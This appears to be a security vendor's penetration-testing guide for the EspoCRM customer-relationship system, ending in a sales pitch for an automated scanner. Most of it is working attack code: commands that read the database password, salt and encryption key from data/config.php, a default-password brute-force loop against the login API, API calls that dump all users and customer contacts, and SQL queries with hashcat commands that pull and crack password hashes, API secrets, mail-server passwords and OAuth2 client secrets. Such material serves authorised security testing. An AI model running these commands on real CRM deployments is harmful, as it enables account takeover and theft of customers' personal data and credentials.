EspoCRM Security Testing: Default Credentials, API Key, Database, and CRM

EspoCRM is a widely deployed open-source CRM used by businesses to manage customer relationships, sales pipelines, and communications. Key assessment areas: data/config.php exposes the MySQL database password and password hash salt; the REST API uses HMAC-SHA256 authentication with API keys stored in the database; admin/admin is the common default credential; and MySQL contains all customer contacts, email integration credentials, and OAuth2 client secrets for external integrations. This guide covers systematic EspoCRM security assessment.

Table of Contents

  1. data/config.php MySQL Credential and Salt Extraction
  2. REST API Key and HMAC Authentication Assessment
  3. MySQL CRM Data, Email Credentials, and Integration Secrets
  4. EspoCRM Security Hardening

data/config.php MySQL Credential and Salt Extraction

# EspoCRM — data/config.php MySQL credential and salt extraction
ESPO_URL="https://crm.example.com"

# data/config.php — EspoCRM main configuration (CRITICAL)
cat /var/www/espocrm/data/config.php 2>/dev/null
# Returns PHP array with:
# 'database' => [
#   'host' => 'localhost',
#   'dbname' => 'espocrm',
#   'user' => 'espocrm',
#   'password' => '...',    <-- MySQL database password
# ],
# 'passwordSalt' => '...',  <-- salt used for all user password hashes
# 'cryptKey' => '...',      <-- key for encrypted field values

python3 -c "
import re
content = open('/var/www/espocrm/data/config.php').read()
patterns = {
    'db_password': r\"'password'\s*=>\s*'([^']+)'\",
    'passwordSalt': r\"'passwordSalt'\s*=>\s*'([^']+)'\",
    'cryptKey': r\"'cryptKey'\s*=>\s*'([^']+)'\",
    'db_name': r\"'dbname'\s*=>\s*'([^']+)'\",
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m:
        print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null

# Test default admin credentials
for CRED in "admin:admin" "admin:password" "administrator:admin" "admin:espocrm"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${ESPO_URL}/api/v1/App/user" \
    -H "Content-Type: application/json" \
    -u "${USER}:${PASS}" 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
  # 200 = valid credentials; returns user profile JSON
done

REST API Key and HMAC Authentication Assessment

# EspoCRM REST API — API key and HMAC authentication assessment
ESPO_URL="https://crm.example.com"

# EspoCRM REST API supports two authentication methods:
# 1. Basic auth: Authorization: Basic base64(username:password)
# 2. HMAC auth: X-Hmac-Authorization header
#    Format: base64(apiKey + ":" + HMAC-SHA256(method + " /" + uri, secretKey))

# With valid admin credentials — get current user info
curl -s "${ESPO_URL}/api/v1/App/user" \
  -u "admin:admin" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'User: {d.get(\"name\")} ({d.get(\"userName\")})')
    print(f'Admin: {d.get(\"isAdmin\")}')
    print(f'Roles: {d.get(\"roles\")}')
except: pass
" 2>/dev/null

# Enumerate all users via admin API
curl -s "${ESPO_URL}/api/v1/User?maxSize=200" \
  -u "admin:admin" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    for u in d.get('list',[]):
        print(f'  {u.get(\"userName\")} | {u.get(\"emailAddress\")} | admin={u.get(\"isAdmin\")}')
except: pass
" 2>/dev/null

# Enumerate all contacts (customer PII)
curl -s "${ESPO_URL}/api/v1/Contact?maxSize=200&select=firstName,lastName,emailAddress,phone" \
  -u "admin:admin" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'Total contacts: {d.get(\"total\")}')
    for c in d.get('list',[])[:5]:
        print(f'  {c.get(\"firstName\")} {c.get(\"lastName\")} - {c.get(\"emailAddress\")}')
except: pass
" 2>/dev/null

# HMAC authentication with extracted API key and secret
API_KEY="api-key-from-db"
SECRET_KEY="secret-key-from-db"
METHOD="GET"
URI="api/v1/Contact"

HMAC=$(echo -n "${METHOD} /${URI}" | \
  openssl dgst -sha256 -hmac "${SECRET_KEY}" -binary | base64)
AUTH=$(echo -n "${API_KEY}:${HMAC}" | base64)

curl -s "${ESPO_URL}/${URI}" \
  -H "X-Hmac-Authorization: ${AUTH}" 2>/dev/null | head -3

MySQL CRM Data, Email Credentials, and Integration Secrets

# EspoCRM MySQL database — CRM data, email credentials, and integration secrets
DB_PASS="extracted-db-password"
SALT="extracted-passwordSalt"

mysql -u espocrm -p"${DB_PASS}" espocrm 2>/dev/null << 'EOF'
-- User accounts with password hashes
SELECT u.id, u.user_name, u.name, u.email_address,
       u.password,             -- SHA512(salt + password)
       u.is_admin, u.is_active
FROM espo_user u
WHERE u.deleted = 0
ORDER BY u.is_admin DESC
LIMIT 20;
-- Crack: hashcat -m 1700 hash.txt wordlist.txt (SHA-512)
-- with salt prepended: hashcat -m 1710 "hash:salt" wordlist.txt

-- API users with API keys and secrets (plaintext)
SELECT u.user_name, u.api_key, u.secret_key
FROM espo_user u
WHERE u.type = 'api'
AND u.deleted = 0;

-- All contacts (customer PII)
SELECT c.first_name, c.last_name, c.email_address, c.phone_number,
       c.account_name, c.description
FROM espo_contact c
WHERE c.deleted = 0
LIMIT 20;

-- Email integration credentials (IMAP/SMTP)
SELECT ea.email_address, ea.host, ea.username,
       ea.password,          -- email account password (may be encrypted with cryptKey)
       ea.smtp_host, ea.smtp_username, ea.smtp_password
FROM espo_email_account ea
WHERE ea.deleted = 0;

-- OAuth2 integration client secrets
SELECT i.name, i.type, i.data   -- data contains client_id and client_secret JSON
FROM espo_integration i
WHERE i.enabled = 1;
EOF

EspoCRM Security Hardening

EspoCRM Security Hardening Checklist:
Security TestMethodRisk
data/config.php database.password and passwordSalt extractionRead data/config.php — MySQL credentials plus salt enabling rapid cracking of all espo_user SHA-512 password hashes; cryptKey decrypts email integration passwordsCritical
Admin credential brute-force (admin/admin)POST /api/v1/App/user with Basic auth — full CRM admin access; all contacts, accounts, email integration, OAuth2 secretsCritical
API user key and secret extraction from MySQLSELECT api_key, secret_key FROM espo_user WHERE type='api' — plaintext API keys; full HMAC-authenticated API access; complete CRM data enumerationHigh
Email IMAP/SMTP credential extractionMySQL SELECT password FROM espo_email_account — email integration credentials; may be encrypted with cryptKey from config.phpHigh
OAuth2 client secret extractionMySQL SELECT data FROM espo_integration — JSON containing OAuth2 client_id and client_secret for Google/Outlook/Salesforce integrationsHigh

Automate EspoCRM Security Testing

Ironimo tests EspoCRM deployments for data/config.php database.password and passwordSalt extraction, cryptKey disclosure enabling email credential decryption, admin/admin credential brute-force at /api/v1/App/user, API user key and secret extraction from espo_user type='api', espo_user SHA-512 password hash extraction with salt, customer PII enumeration from espo_contact, email integration IMAP/SMTP credential disclosure from espo_email_account, OAuth2 client secret extraction from espo_integration, data/ directory web-accessible HTTP access assessment, and API rate limiting absence for credential stuffing testing.

Start free scan